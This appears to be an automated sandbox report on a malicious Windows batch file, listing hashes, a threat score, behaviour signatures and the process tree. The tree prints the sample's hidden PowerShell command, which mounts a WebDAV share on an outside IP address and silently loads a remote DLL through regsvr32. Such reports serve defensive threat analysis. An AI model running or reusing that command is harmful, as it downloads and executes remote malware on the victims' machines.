Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-07-2024 11:06

General

  • Target

    258743084730614141.bat

  • Size

    20KB

  • MD5

    6fa1db5c55a2d67812e6453489257ff7

  • SHA1

    631c7516d5fc8e106dca3d8b3caf92217c5cf815

  • SHA256

    30d0c0103cb18f0d140515573dadb053fed4eb13878f1ca38793b0d62e6d4be7

  • SHA512

    5443b14c9417bcbd9e9af268a638cd7a053b2a840a8f4a747f7e96711d627a4dbf2f79819c77e6915453e4efe4d650f94eecf26255f0d952e7fc4c36abdfcd4f

  • SSDEEP

    384:gbWkd6XlAS1Aa7y7o8XNrGRDCKWyVraW4aFRdIud8D5p6:q6h1Aa7pQNlMc58fJd8D5p6

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\258743084730614141.bat"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1472
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2756
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\101851733111778.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5008
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:4960
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\101851733111778.dll
          3⤵
            PID:4716
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
        1⤵
          PID:2412

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yn5ny02e.tkt.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/5008-9-0x000001ECA5E60000-0x000001ECA5E82000-memory.dmp

          Filesize

          136KB